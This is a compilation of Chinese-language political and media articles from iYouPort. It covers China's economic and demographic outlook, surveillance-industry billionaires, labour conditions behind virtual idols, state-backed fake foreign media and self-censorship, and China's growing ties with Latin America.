这不是关于如何看待这堆订单、或者把生产外包给孟加拉的廉价奴隶劳工的人力成本问题，它是关于在去全球化、全球变暖和人类快速老龄化这三种趋势的影响下，一种特定的秩序形式正在成为过去。它留

下了遗产 —— 即 在帝国漩涡的另一边等待你的下一个反乌托邦怪物。

那些亲普京的二货们满脑子都是苏联冷战时期的书中的语录，他们正欢天喜地地嚷嚷着由此产生的单极世界的终结，“去死吧，美国，你不会成为世界警察的”。他们并不了解美国。首先是民族主义盛行，它逃离了阿富汗和其他不再需要的且成本太高的伙伴；其次，美国不像俄罗斯和它将其全球经济体系推向的“世界其他国家”，它自己并没有陷入其中。美国GDP中只有11%是出口。其中三分之一是石油。美国2/3的贸易组合是在西半球。世界主要货币仍然是美元。美国经济是最大的、最孤立的和最安全的。

简而言之，美国以甜美的自由主义曲调为上层建筑向世界推销全球化，同时又是一个经济民族主义的帝国，从而打败了所有人。由于一些地理、人口和经济方面的原因，美国现在处于比俄罗斯、中国和欧洲更好的位置，可以经受住即将到来的风暴，并从风暴中（以及从我们所有人中）获益。

我的意思是，无论是那些认为他们自己的烂鞋仍然有光明未来的家伙、认为美国即将衰落的普京主义者，还是那些永远指望20世纪“世界警察”当爹的人，都没有理由感到高兴。事情比看起来更糟糕，许多人只是在用旧眼镜看这个新战场。

问题不在于更聪明的帝国将如何扼杀愚蠢的克里姆林宫混蛋，并享受中国“日落”的奇观，而在于何时，以及我们中有谁能抓住这个千载难逢的机会，不辜负它。

这至少涉及到需要用一个人们愿意遵循的、有生命力的替代方案来对抗所有这些悲观的民族-帝国观点。

说到中国。中国拥有最大的海军，但其90%的军舰不能在近海航行超过1000英里。同时，中国是最大的货物出口国（占中国GDP的18.5%），也是主要的石油进口国（每天1180万桶，而它需要的总数是1500万桶）。这些进口中约有一半来自波斯湾。

换句话说，很难想象有谁比中国更依赖美国来保障海上贸易路线的战后世界秩序（全球化和 “自由市场”）。

这就是毛泽东-尼克松交易的产物，它利用 1960年代末的中苏分裂的机会 来巩固美国在冷战中的地位。由此产生的经济体系，中国是其中的主要受益者之一，已经成为过去。

面对去全球化（这涉及到市场世界秩序的重新划分，并伴随着“开放世界”的民族主义分裂的全球风暴），美国可以通过制裁和封锁海上通道来扼杀中国，从而处于更有利的地位。这些措施足以令中国失去权力、工业停滞、饥荒开始。

中国能否及时走出这个岔路口？是否能避免在自身系统的重压下崩溃？故事正发展到一个关键的转折点 …… 结局将在不久的将来变得清晰 ……

对于反抗者，“时机”只有在你能有效利用它的时候才能成为时机。

要理解为什么 中国的前景不好，就必须看看它的人口动态，即从1980年到2015年持续了35年的“一户一孩”政策在所谓的 “中国奇迹” 中埋下的定时炸弹。这一政策的结果是，今天的中国成为了人类历史上 老龄化最快的社会，最大的性别失衡是其特征。这意味着能够生产和生育的人越来越少，吃饭的嘴开始超过做饭的手的数量。

所谓的“中国奇迹”的一个重要因素是 廉价劳动力 的海洋。这就是为什么几乎所有的西方公司都冲进了 天朝帝国 的开放中，并使其它蓬勃发展。从好的方面看，中国工人的工资得到了前所未有的提高，这就是为什么许多传统左派对 以市场为导向的中国模式 视而不见 —— 这是一种新经济政策的2.0，它设想了 “实际存在的 社会主义” 的功能性替代方案。而事实上，所谓的 “中国模式” 只是以资本主义原则为基础的，表现为一党专政作为履行市场关系的皇帝的职能 —— 古驰精品店里的那些锤子和镰刀 …… 这就是资本主义。

今天，随着上述人口危机和经济动态，廉价劳动力的海洋 不再存在，使中国失去了在 资本主义游戏 中的主要优势。中国正在失去其作为 “实施工业流程的最实惠的地方” 的地位。

与俄罗斯不同，中国并不是一个重要的粮食和能源生产国，中国进口了其所需的85%的能源（其中约40%来自波斯湾）以及用于种植粮食的资源。因此，如果对中国实施所有与俄罗斯相同的 制裁，这将意味着中国的工业彻底 崩溃 和大规模饥饿。这就是为什么这个世界会看到中国在 乌克兰问题上 几乎没有任何动作，尽管很明显北京的心意是在谁身上。

人们可以从习近平那里期待很多东西，他在个人崇拜的框架内与信息隔绝，比克里姆林宫的专制者还要糟糕。但这并不能改变进口替代的想法完全不适合中国模式的事实，中国模式的所有繁荣都与以西方为首的整个世界都在向他们靠拢这一事实联系在一起。如果你把古驰从

中国的镰刀和锤子下拿走，那么镰刀锤子就会倒塌。毕竟，他们把锤子和镰刀绑在了古驰身上。而且你知道，远非古驰。

是的，中国用自己的手组装了我们所有人使用的电脑，但中国人并没有发明这些电子设备，尽管中国花费了数十亿美元来创造自己的芯片生产技术。然而，到目前为止，中国的能力都还不足以按照先进的技术工艺生产半导体。也就是说，从这个意义上说，孤立和制裁对中国没有任何好处，尽管它现在正努力调整其生产系统，以便不依赖外部世界。但这需要时间，而考虑到正在发生的一切，中国的制度根本就没有这个时间。

然后是 Covid。是的，中国在大流行病的第一波中 被认为 “表现得很好”。但那是过去的事了。而且中国的疫苗对冠状病毒的新变种不起作用。中国还没有能力改善它。因此，他们只剩下像上海那样的封锁了。但是如果没有疫苗，这一切都没有用。谁来工作？谁会花这些钱？上海是世界上最大的生产商和港口之一，它可以被封闭，但是…… 政权及其持久性取决于经济。迟早有一天，所有这些被关起来的人 —— 其中的社会不满情绪正在增长 —— 将不得不被释放，之后他们将很快再次被感染，在没有有效疫苗的情况下，他们将不得不再次被关起来，如此反复，直到经济死亡或爆发革命。

简而言之，中国经典的 “纸老虎” 比喻完全可以适用于今天的中国。
〇

1. Globalisation #Imperialism #Nationalism #China #ZeroCovidPolicy #PopulationCrisis #Economy #Revolution #全球化 #帝国主义 #民族主义 #中国 #清零 #人口危机 #经济 #革命

原文

在中国：致富的捷径 - iYouPort

中国-半壁高堡奇人

在中国，有一条迅速致富的捷径，你知道它是什么样的吗？

「图」

「图」

在他成为亿万富翁之前，Dai lin 是骑自行车上班的，在天津街头的这家名叫 Tiandy 科技有限公司的大楼是他在中国政府的支持下建造的监控相机制造商。

戴在1994年创办该公司时，路边的监控摄像机在中国还很少见。现在，这些玩意无处不在—— 这是高科技监控国家的一部分，在这个世界上人口最多的国家引发了隐私和人权问题，并使得像 Tiandy 这样有良好政商关系的企业家变得极为富有。

这位现年54岁的富豪现在开着一辆豪华轿车上班、并用宝马奖励高绩效的员工，这是至少四位富豪商人中最新的一位，这些专业的监控公司将中国政府视为主要的客户和投资者并因此积累了数十亿美元以上的财富。根据彭博亿万富翁指数，他们的净资产总额超过120亿美元。海康威视排第一位。

根据 IHS Markit 的数据，2016年约有1.76亿台视频监控摄像机监控着中国的街道、建筑物和公共场所。2017年，习近平政府在国内安全方面的支出估计为1840亿美元。到2020年，当局计划推出一个“ 无处不在的”全国性监控网络和一个社会信用评分系统，该系统可跟踪从交通违规到视频游戏习惯等各方面的个人数据。

并不只有像 Tiandy 这样以监视技术为重点的公司正在帮助政府扩大监视计划：阿里巴巴集团控股有限公司、平安保险集团公司、和腾讯控股有限公司等公司都在监视领域扮演着越来越重要的角色。你会在几乎所有国家最具创新性的企业中找到中国监控国家的链接。

中国监控活动的支持者表示，监视系统已经“培养了信任，改善了公共安全，并帮助该国成为了人工智能领域的世界领导者”。包括亿万富翁慈善家乔治索罗斯在内的评论家称，习近平政府正在利用技术来对其公民进行危险的控制。

随着 Tiandy 及其同行向海外扩张，一些人担心中国的监控行业可能会帮助非洲和拉丁美洲的政府侵蚀公民自由。美国对华为技术有限公司的审查突显了另一个恐惧，即北京出口的中国监控设备可用于间谍活动。

“为了社会控制和管理的目的，中国政府利用数据的方法可以加强国家的强制能力，其方式具有相当令人不安的影响，包括全球民主治理的未来，”Elsa Kania 说道，他是华盛顿智库新美国安全中心的兼职研究员，“许多出口人工智能应用程序的公司，如面部识别，都可以用于监视，从而实现压制。”

中国官员一再坚称这种担忧是没有根据的。外交部发言人华春英在回应上个月达沃斯世界经济论坛上索罗斯关于中国监控计划的重要讲话时表示，这位前对冲基金经理的言论“甚至不值得反驳。”华为创始人否认帮助北京的间谍活动。

武汉的 Guide Infrared 也是一家监视摄像机制造商，其董事长拥有13亿美元的净资产，为地方政府开发智能传感技术。他们没有回应评论请求。已经投资监视相关创业公司的腾讯也没有回应评论请求。阿里巴巴云计算部门的发言人表示，当局使用其“City Brain”技术已经看到“交通流量和应急响应时间等方面的切实改善”。

老年居民长期以来习惯于在共产党的监视下生活，年轻一代则在社交媒体上成长起来，几乎喜欢分享自己生活的方方面面。虽然有的公司因涉嫌数据收集过度而出现过零星的言论，但只要中国领导人继续履行更高收入和强劲经济增长的承诺，许多公民愿意牺牲自己的隐私。

令人担心的是，中国政府以及为其提供监视和审查技术的企业也正在建立一个能够以前所未有的方式扼杀异议的体系。

在新疆—多达100万维吾尔人被关押在大规模拘留营中—中国当局正在部署人工智能摄像机、面部扫描仪和音频监视工具，以实现人权观察组织所称的“系统性人权侵犯”。中国则表示，难民营是志愿教育中心，帮助清除”意识形态疾病“。

Human Rights Watch 已经召集了包括 iFlyTek Co.（一家深圳上市的

语音识别技术开发商）和赛默飞世尔科技公司（一家位于马萨诸塞州的 DNA 测序仪制造商）等公司，据称这些公司将监视技术提供给新疆警方。该倡导组织还敦促资金经理不要投资与中国大规模监控计划有关的企业。（iFlyTek 及其几家同行，如杭州海康威视数字技术有限公司和浙江大华科技有限公司，是MSCI Inc.全球股票指数的组成部分）

这些老大哥中最成功的是 Sensetime，一家面部识别技术的领导者，其收入的五分之二来自政府合同。这家拥有四年历史的公司—— 中国“AI国家队”的成员—— 最近价值超过45亿美元，使其成为全球最大的人工智能创业公司之一。在回答彭博社提出的问题时，该公司表示，其大部分收入来自政府监视“之外”的领域，如自动驾驶和增强现实技术。

中国较为成熟的科技公司，其中一些长期以来都在帮助政府监视和审查互联网，正在加强与监控国家的联系。亿万富翁李彦宏的在线搜索公司百度正在与中国当局合作，提供所谓的“智能城市” 服务，包括可以分析监控相关数据的云存储系统。由亿万富翁马云创立的电子商务巨头阿里巴巴也正在参与类似的项目。

Tiandy 的摄影机可以在相当于一星级夜空的光线条件下拍摄高清彩色图像，这是中国监控行业不断增长的海外影响力的一个典型例子。该公司目前向60多个国家销售产品—— 这可能是由于“一带一路”全球基础设施倡议可能上升的结果。

这对 Tiandy 及其亿万富翁创始人来说是个好消息，但可能会增加隐私风险和政治权利活动人士的担忧，即中国正在向世界各地出口其监控国家的能力。最近访问 Tiandy 总部的人包括安哥拉的总统，这是南非的一个产油国，是自由之家全球公民自由指数中排名最低的国家之一。

关于中国的监视技术都提供给了谁，详见 IYP 的类目“中国在帮谁”。

China’s Powerful Surveillance State Has Created at Least Four Billionaires. Tiandy’s Dai Lin is China’s latest surveillance billionaire

原文

在中国火爆的虚拟网红背后，是过度劳累的人类 - iyouport

中国-半壁高堡奇人

中国价值 160 亿美元的虚拟名人产业的完美面孔背后，隐藏着的是愤怒的和过度劳累的真实的苦力。

- 如果您错过了这本书《看不见的工人阶级》

沃克斯阿库玛将一绺血红色的头发扫到耳后，用他那超凡脱俗、闪闪发光的眼睛盯着镜头，几个月来他几乎每天都这样。在已经获得超过35万次观看的现场直播中，这位动画明星告诫他的粉丝，他们的崇拜“太过分了”，迫使他以艰苦的、非人的速度工作。他说：“现在已经到了这样的地步，如果我休息一天以上，就会出现戏剧性事件，发生争执”。

在过去十年中，中国和日本的娱乐公司越来越多地投资于开发虚拟明星：通过全息图出现在舞台上的流行歌星，通过直播玩游戏和与粉丝聊天的动画人物，由计算机科学家和配音演员团队支持的品牌网红。根据 iiMedia 的研究，去年仅在中国，由虚拟偶像推动的商业价值就达到了160亿美元。

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

YouTube 明星沃克斯阿库玛和中国流行音乐明星罗天翼都是虚拟偶像。中国的营销机构下了很大的赌注，认为这些数字影响者“代表了名人的未来”，他们的外表和语言都是由品牌机构和公司精心打造和控制的。他们的想法是，虚拟明星会一直保持信息畅通，避免人类网红可能容易出现的倦怠或争议。

但是，在虚拟偶像的核心，它们通常依赖于一个真实的人类：一个穿着动作捕捉服的演员，实时传递声音、动作和面部表情。当阿库玛笑

的时候，那是扮演他的演员的笑声；当罗天翼挥手的时候，那是因为一个真实的人在挥手。当他们脱离剧本，抱怨疲惫、过度工作或低工资时，那是一个真实的人在抱怨自己的实际工作条件 —— 强调了虚拟名人与人类影响者一样受到同样的关注和遭受着同样的剥削。

“VTubers 的关键点是‘里面的人’，人类的劳动”，香港浸会大学研究中国虚拟偶像产业的博士研究员罗一军说。虽然虚拟明星可能看起来像人工创造的，但他们和任何现实生活中的影响者或名人一样，都依赖于实际人类的牵引和个性。一些粉丝对他们最喜欢的偶像背后的真人的独特品质如此依恋，以至于他们无法忍受其他人取代偶像的位置。这让许多粉丝在网上问 —— 如果演员是这些超级动画明星的灵魂，为什么他们不能像人类流行音乐明星那样获得报酬？

这个行业不缺钱。去年，乐华娱乐与字节跳动合作创建了中国最受欢迎的虚拟流行女团 A-Soul，从其“泛娱乐业务”中赚取了560万美元，该公司称这主要来自 A-Soul。这些虚拟明星与肯德基和欧莱雅等跨国品牌以及中国健身平台Keep等国内巨头都有合作。

在中国，所有的娱乐和媒体都受到审查，零售商和娱乐公司发现与被制造出来的—— 可控的—— 影响者合作的想法立即吸引了人们。麦当劳和屈臣氏等国际品牌甚至开发了自己的虚拟影响者角色。“这使品牌能够更好地控制他们的营销节奏，虚拟人物的物理外观，以及与营销活动的整合”，上海数字奢侈品集团的总经理 Pablo Mauron 说。

随着粉丝和品牌的兴趣增强，偶像的活动也随之增加，穿动作捕捉服的演员的工作时间也随之增加，他们在中文里被称为“中之人”，就是日语中的“naka no hito”。虚拟化身服务公司 SuperACG 的品牌总监 Mengyu Peng 说：“动作捕捉女演员的工作时间不是由他们自己决定的。这是由他们背后的运营人员决定的”。

Peng 告诉记者说，大多数动作捕捉演员被要求每天积极地为他们各自的化身提供动力，每天4到5个小时，每月22天。这对粉丝来说并不总是很清楚，他们不断吵着要和他们的偶像多呆一会儿。香港中文大学媒体和传播学教授 Anthony Fung 说：“中之人的工作条件……是不可见的”。

在中国，真正的影响者每年都会因为有争议的言论而被从他们的平台上撤下，冯说，所以虚拟影响者似乎比他们的人类同行更“安全”。虚拟明星不应该衰老，不应该生气，不应该提出禁忌话题，不应该欺骗他们的伴侣，也不应该因逃税而被捕 —— 反正理论上是这样。但是，虚拟网红最终还是要依靠真实的人类表演来使他们栩栩如生。沃

克斯阿库玛的忏悔只是最近许多人类担忧扰乱虚拟名人的大生意的例子之一。

Uruha Rushia 是日本最大的虚拟名人机构之一 Hololive 的一名虚拟 YouTube 明星，因涉嫌在直播中向其160万 YouTube 用户泄露商业信息而于2月 “被退休”。另一位 Hololive VTuber 的明星 Usada Pekora 在5月宣布，她正在休息，以解决连续三年来近乎无休止的直播带来的喉咙损伤。最引人注目的事件发生在同一个月，中国最受欢迎的虚拟流行乐队 A-Soul 的一名核心成员离职，该乐队在2020年推出后在微博上积累了200多万粉丝，尤其是在年轻男粉丝中。

这个充满活力的动画女孩团体由戴安娜、艾娃、贝拉、艾琳和卡罗尔组成—— 她们各自体现了不同的个性原型，在直播活动中唱歌、跳舞并与崇拜者聊天。据报道，每个明星都是由一个真正的人类员工提供动力的，赋予她自己的个性和舞蹈风格，使她的数字化身成为现实。中国媒体援引字节跳动的一个匿名消息来源称，A-Soul 明星背后的真实人类演员只得到了该集团收入的一小部分。

5月，A-Soul 突然宣布卡罗尔将停止演出。粉丝们挖出了卡罗尔背后的女演员，并找到了他们认为是她在个人博客上抱怨被骚扰和工伤的证据。A-Soul 背后的制作委员会否认了对虐待的指控，并说将心爱的偶像带入生活的女演员们 “得到了很好的补偿”，并获得了直播收入的10%。

卡罗尔的离开引发了一场关于赋予每个虚拟人物独特的说话、唱歌和跳舞方式的真实人类的工作条件的广泛讨论。“穿着动作捕捉服很累，每天跳来跳去很累”，一位 VTuber 告诉中国媒体说，“有一种感觉，那就是付出了很多努力，却收获甚微”。

上海的一位粉丝，出于隐私考虑，更愿意使用他的英文名字 Ajax，他是那些放弃 A-Soul 而支持曾经扮演她的女演员的人之一。过去，Ajax 在虚拟世界中享受卡罗尔的表演和笑话，但有关劳资纠纷的报道将他带回了现实。他说，“卡罗尔这个角色仍然被掌握在各公司手中，但它已经失去了它的灵魂”。

Ajax 和其他像他一样的粉丝并没有继续追随 A-Soul，而是成为了扮演卡罗尔的真实人类女演员的支持者。他们不知道她的名字，也不知道她的长相，但是粉丝们涌向了微博和 Bilibili 上的一个特别的简介，他们认为这个简介代表了她。在一张以三丽鸥角色 Cinnamoroll 为主题的资料照片后面，她每天与一万多名粉丝互动，分享她的睡眠和零食习惯以及 Covid-19 测试结果。她于7月在 Bilibili 上发布的一

首歌曲获得了超过85万的浏览量。虽然该简介背后的人没有直接证实他们以前为 A-Soul 工作，但粉丝们继续找到他们的账户，被他们对这个为他们曾经喜爱的偶像提供动力的真实人类的依恋的力量所吸引。他们留下了支持和钦佩的话语。这些日子里，没有人叫她 “卡罗尔”。〇

The overworked humans behind China’s virtual influencers

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

大外宣战略、审查和自我审查 - iYouPort

中国-半壁高堡奇人

虽然诸如压制稿件、延迟报道等手段可被视为“迂回战术”，不代表彻底妥协屈服，但一样是对新闻自由言论自由的羞辱

「图」

「图」

近日，有微信公众号发表了一篇名为《假境外媒体大全》的文章，其中列举了百余被指为受中国当局操控的境外媒体，此文短期内达到了万余阅读量。“山寨外媒”、“亲中外媒”、自我审查外媒及媒体管制、新闻自由等相关话题再次引发热议。

“国际新媒体合作组织”成立 假外媒惹眼

12月13号，杨恒均在其微信公众号中写到，《世界华人周刊》发自北京的报道称：“2014年12月11日晚，国际新媒体合作组织的正式成立。杨恒均担任主席”。报道指，该组织是“海内外新媒体及新媒体资深从业人员自愿加入的合作对话交流平台”。

言其成立宗旨是：“聚焦全球华人，弘扬中华文化，让世界了解中国，助中国走向世界”。并称：国际新媒体合作组织同时聘任新媒体资深从业人员、自媒体业者为理事会成员。 该文中列举了受聘于国际新媒体合作组织担任顾问的、共35位来自世界各地的海外华文媒体社长、总编，以及他们所处的“外媒”，其中包括《世界华人周刊》、美国《中美邮报》、美国《中华商业周刊》、美国《中美邮报》、美国《中国日报》、日本《中日新报》、罗马尼亚《欧洲侨报》、加拿大《大华商报》、加拿大《先枫报》、加拿大《七天》杂志……等。

维基百科在“中共中央宣传部”这一词条的页面中列举了大量被记录的“山寨版外媒”，它们都是被大陆中宣部收购、控股和创办的党办华文媒体，上述这些“外媒”全在山寨榜单之中。

假外媒多次被揭露

2012年底，十八大期间，在十八大新闻中心里提问了四次的澳洲记者安德里亚，被披露是来自中国国际广播电台控股的媒体“凯歌传媒”。当时在现场的澳洲媒体人士没有人知道凯歌传媒的底细。

据报道，有外媒同行发现她提出的问题与中国的宣传口径十分吻合，便对她的身分产生怀疑。澳洲电视台驻华特派员麦当尼尔曾找到Andrea Yu交流后发现，原来她事前已经与主持有了默契，她的问题事前也获得了批准。

「图」

「图」

据报道，在交谈中，Andrea Yu向麦当尼尔坦白承认，她这次的角色，确非是一个真正记者的所为，她加入的传媒公司也只有一个月，她本人也不想接受这种任务。Andrea Yu还透露，她的提问都是中国同事事先写好的，她无权提出自己的问题。

据了解，澳洲环球凯歌传媒在墨尔本设有办公室，但大半股权是由北京所持有，跟中国政府媒体有密切关系。环球凯歌官网列有在北京的住址和电话号码。该集团的老板姜兆庆，毕业于北京体育大学足球专业。

该公司在2009年9月12日在澳洲墨尔本建立，目前在中国、纽西兰、泰国、蒙古、斯里兰卡、印尼、阿富汗、尼泊尔、阿根廷都注册了子公司。

当时香港阳光时务周刊在相关报道中表示：十八大的“外媒”演出成了“大外宣战略”成果汇报表演。阳光时务周刊指，在新闻自由的境外注册媒体，并通过这些“外媒”将对体制的赞美出口转内销，已经愈来愈成为中共舆论战的一环；而已经实施多年的“大外宣战略”，十八大的“外媒”演出只是成果之一，可以部分展现外宣攻坚战中“夺取国际话语权”的行动模式。

「图」

「图」

另据法新社报道，去年3月11号两会期间，中国人民银行行长周小川等官员在全国人大会场举行记者会时，司仪点名澳洲“环球凯歌国际

传媒集团”女记者肯尼（Louise Kenney）提问。澳洲记者肯尼没问中国经济增长率减缓、影响不小的影子银行、或腐败等问题，她问的是政府允许较多外国公司进入农业保险市场的政策。稍后有位外国记者用中文高喊：“给外国媒体一个机会！”他在得到提问机会后说了一句“我是真外媒，不是冒牌货”，引发场内一阵鼓掌与笑声。

此外，还有网友发现，自称“日媒”的《日本新闻网》其域名居然是中文拼音“ribenxinwen”，令人啼笑皆非。大陆官媒频繁引述的《欧洲时报》也是中新社创办，意大利欧联通讯社也与《人民日报》有千丝万缕的关系。

中国政府近年来大力推进中国在国际上的“软实力”，海外华文媒体被认为“肩负展示中国文化软实力的重任”，中国也通过大量投资，积极在海外扩张中国媒体的影响。大陆媒体在报道中经常出现“据外媒”的字样，其中不乏上述“山寨外媒”，另也有“亲中外媒”和“自我审查表现良好”的海外媒体，借其口为当局代言。但问题的关键不在于有多少外媒为中国说话、或持有亲中立场，问题的核心在于，在新闻受到严格管制的中国语境中，批评的声音被系统性地挡在了门外。

亲中外媒

“亲中媒体”是指新闻报道立场倾向中国政府的传媒，是台湾、香港、澳门或其它华人社区广泛使用的一个名词，有别于大陆传媒生态。其中不乏直接接受中国政府提供的资金的情况。

它们大多较少对中国政府的政策及方向提出批评和异见、也较少报道中国的负面消息、较少报道中共内政及军事讯息。 在对待“政治正确”的禁忌方面，如避称中华民国政府各级机关的正式称谓等，这类媒体则视主要用户地区，而在做法上各有其弹性：如在台湾的亲中共媒体，并不避称中华民国的国家元首为总统；但像香港文汇报，则会改用其他称呼，如改称“台湾领导”，或者刻意用引号括住，以表达这些媒体认同中华人民共和国政府的立场。

用户可以从这类媒体的专业评论或独立契约工作者的个人活动及政治倾向属性中，了解到该媒体的政治立场倾向。 对于可能带给民众对北京政府负面观感的报道，则会尽量避免，如台湾亲中共媒体对于温州动车事件所采取的回避立场便是。

据维基百科词条，亲中媒体的网络平台评论区也是大陆五毛水军的“工作地点”。虽然多数海外亲中媒体网站在中国大陆无法被正常访问，但如果其报道开放匿名公众评论，则仍可见到活跃的“中国网

民”留言，这些留言表现出与中国当局相当一致的价值观，因此往往被视为中共网军的舆论引导行为。有疑似中共网军的长期活动是亲中媒体的特色之一。

习近平在12月20号赴澳门参加庆祝澳门回归15周年大会，大陆官媒《参考消息》对此的报道中就借用了很多亲中外媒的口吻。其中提到的《澳门日报》是澳门销量最大的报纸，其内容大多以支持“澳门特区政府”“依法施政”及支持中国政府为主，报道台湾新闻时会在政府部门名称加上引号以表示“不承认其正当性”之意。澳门广播电视也经常在“台湾政府”前加上“所谓（的）”这一字样。

另有台湾《联合报》被称作“统媒”，据悉大多与中国国民党有关连，也接受国共两党的“置入性行销”。苹果日报、自由时报、中央社等媒体对此都曾有批评。2010年的苹果日报评论指：中国大陆各机关，常于台湾各报章，从事新闻置入性营销，严重扭曲传播伦理，阻碍国家进步，并侵害民众对媒体的信赖与新闻应独立自主的专业。

行政院大陆委员会怠于处置，任凭中国大陆之新闻置入性营销横行泛滥，核有违失…… “壹传媒交易案”相关报道中，曾引述公平会主委吴秀明的话说：“无法以言论集中、多元，作为审查的主要或唯一理由，公平会不能因为社会压力大，做违法乱纪的事。”评论认为，此言表达了台湾当局保护言论自由与恪遵法治的态度，却也突显了台湾所强调的言论自由，足以成为有心人据以打击言论自由的困境。

新加坡《联合早报》一直标榜新闻立场中立，但有分析认为，该媒体有亲中倾向，其所邀的作者中包括帶有一定中国民族主义思想的時事评论员阮次山、中国全国政協委原韩方明、台湾国立政治大学国研中心研究员蔡逸儒、香港凤凰卫视時事评论员邱震海等。

该媒体网页曾因报道乌坎事件被大陆GFW封锁，当时香港明报对此消息的报道中使用的措辞是“一向和中国政府交好的新加坡媒体《联合早报》网站”，看来“一向交好”也并不代表可以“一直保全”。

自我审查的外媒中文版

追踪中国网络审查的网站GreatFire在去年1月的报道中指出，国际调查记者同盟发布“机密文件披露中国精英的海外资产”后，中国大量封锁外媒网站，并列出了因转此新闻被封锁的网站网址。

GreatFire认为被封锁原因是，这些媒体被国际记者调查同盟列为了中国离岸金融解密新闻的发布伙伴，没有被列为发布伙伴的媒体，只有

相关报道被屏蔽，或者根本不屏蔽。因中国用英语或者小语种阅读新闻的人并不多。

并指出：中国对这些网站进行全站封锁是报复性的，并不只是控制信息传播。 据GreatFire观察，没被封锁的外媒中文网站对此均没有报道，被长期封锁的纽约时报中文网对此进行了报道。FT中文网有关报道也被封锁。

GreatFire表示：只能认为外媒在中国政府封锁网站、拒绝签证的手段下进行了自我审查。 驻华外国记者被中国当局刁难的案例已被报多起。2012年5月，批评中共当局的半岛电视台记者陈嘉韵被驱逐，其从属的北京记者站也遭关闭；2013年11月德国之声中文网报道，路透社的资深记者慕亦仁也遭遇中国政府的无理由拒签，慕亦仁确信这与他多年来对中国人权等"敏感话题"报道有关；同期，据《纽约时报》报道，国际著名财经新闻社彭博的记者傅才德因参与撰写关于中国政府高层的报道被其管理层停职。

2013年11月8日，《纽约时报》刊发彭博这篇调查，并同时引用不愿具名的彭博官员的说明：彭博迟迟未刊发的原因主要是担心"被赶出中国"。 在近期的占中事件中，本网曾有报道，部分外媒中文网存在被认为是源于自我审查的延迟跟进现象。

美国之音中文网日前的报道显示，香港大学民意研究计划从1997年开始就一直进行了有关香港新闻机构自我审查的调查，最新结果表明，一半受访者认为媒体有自我审查现象。根据调查数据，认为港媒出现了自我审查的人数5年来有上升趋势。

虽然诸如压制稿件、延迟报道等手段可被视为"迂回战术"，不代表彻底妥协屈服，但一样是对新闻自由言论自由的羞辱。中国的新闻审查是始作俑者，违背言论与传播自由的新闻原则、导致媒体公信力崩溃。

一次次的妥协或许能换来一个个短暂的利益和安全，但也更令自身一步步迈向深渊，逐渐沦落为屈服于权力的寄生虫，代价沉重。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

局势：中国正在努力扩大与拉美的联系 - iYouPort

中国-半壁高堡奇人

本文将作为一个笔记存在，一个时间点和局势的记录。不探讨中美反抗者之间的价值观冲突。

【按】两年多前我们报道过中国的监视技术在拉美国家的延伸，您可以在 列表-4 “作恶者：中国在帮谁” 板块中看到更多相关汇总。本文则是一个近期的观察，可作为国际局势的参考。

本文来自独立媒体研究所的项目 Globetrotter，作者 Vijay Prashad 是印度历史学家、编辑和新闻记者。他是 Globetrotter 的研究员和首席记者，也是 LeftWord Books 的主编。

本文被美国独立媒体 citizentruth 转载，citizentruth 有着与我们一致的价值观和追求，即：打破左右范式。但是请注意，正如我们在去年底的对话中所讲述的，美国反抗者期待多极世界，他们反对美国的外交政策。这与仰慕华盛顿的中国异议的价值观相悖。（如果您习惯于阅读CNN或华盛顿邮报，美国独立媒体的文章可能会令您感觉突兀）。

本文将作为一个笔记存在，一个时间点和局势的记录。不探讨中美反抗者之间的价值观冲突。

「图」

「图」

2020年1月中旬，800人齐聚墨西哥经济部，举行中墨关系研讨会，庆祝“中国日”。

墨西哥经济部长格拉谢拉·马尔克斯·科林是哈佛大学经济史博士，她说：“中国和墨西哥要走在一起，建立更强大、更稳固的关系。”

2020年7月，《美墨加协定》正式生效。马尔克斯·科林在1月的活动中表示，尽管有这个协议，但墨西哥必须“加倍努力”，从中国等其他地方吸引投资。

中国驻墨西哥大使朱庆桥说，中国同意，并有“许多投资墨西哥的计划”，包括位于塔巴斯科的国有多斯博卡斯港炼油厂所需的6亿美元；这笔钱是由中国工商银行、中国银行、和其他国际合作伙伴共同投入的。

2019年6月4日，朱大使刚到墨西哥城，就在一家美国知名财经报纸《金融时报》上写了一篇评论文章。他写道：“（中美）贸易战不会阻止中国的发展。面对风险和挑战，中国有信心面对，并将其转化为机遇。”

他称，中美经济高度融合，这将使脱钩变得几乎不可能。同时，中国准备增加与其他国家的互动，无论是通过向这些国家 —— 比如墨西哥 —— 投资，还是通过欢迎投资进入中国。他写道，中国不是这场“贸易战”的始作俑者，中国希望这场冲突能够结束。

中国做法的三大支柱

中国对拉美形成了三个鲜明的支柱：购买拉美商品、中国对拉美的投资、中国与拉美主要政府的政治结盟。

过去20年，中国已成为拉美国家最重要的市场之一。例如，2019年，智利32%的出口到中国，秘鲁是29%，巴西28%，乌拉圭27%，阿根廷10%。中国和拉美的相互依赖，意味着尽管政权更迭，中国和拉美政府都没有破坏这种关系。

当博尔索纳罗（Jair Bolsonaro）还是巴西当选总统时，他在上台前曾与台湾互动；但是他一上台，经济上的需要就使他无法与北京决裂。

太多的问题仍然存在。2019年11月，博尔索纳罗与中国的习近平会面，习近平表示，中国和巴西将“在平等的基础上”增加贸易。驻巴西台北经济文化办事处的张宗哲在2020年9月承认，博尔索纳罗如果要与北京决裂会有“很多障碍”。巴西根本没有澳大利亚那样的自由度，因为澳大利亚 —— 依赖中国市场—— 也同样与美国一起加入了被称为“四国同盟”的反中军事联盟（与印度和日本一起）。

路易斯·阿尔塞（Luis Arce）的社会主义运动（MAS）在玻利维亚大

选获胜后，习近平向阿尔塞发来贺电。在该电文中，习回顾了2018年中国政府与时任总统埃沃·莫拉莱斯达成的战略伙伴关系。那次合作导致中国新疆特变电工集团选择在计划中的与玻利维亚国有锂矿总公司YLB的合资企业中持有49%的股份。

“为什么选择中国？中国的电池生产市场有保障”，莫拉莱斯在签约仪式上说。玻利维亚新任总统阿尔塞是莫拉莱斯的经济政策负责人；他曾表示将继续执行与中国合作的政策，特别是在疫情的背景下。没有迹象表明中国的投资会放缓，当然也不会放缓对玻利维亚的投资。

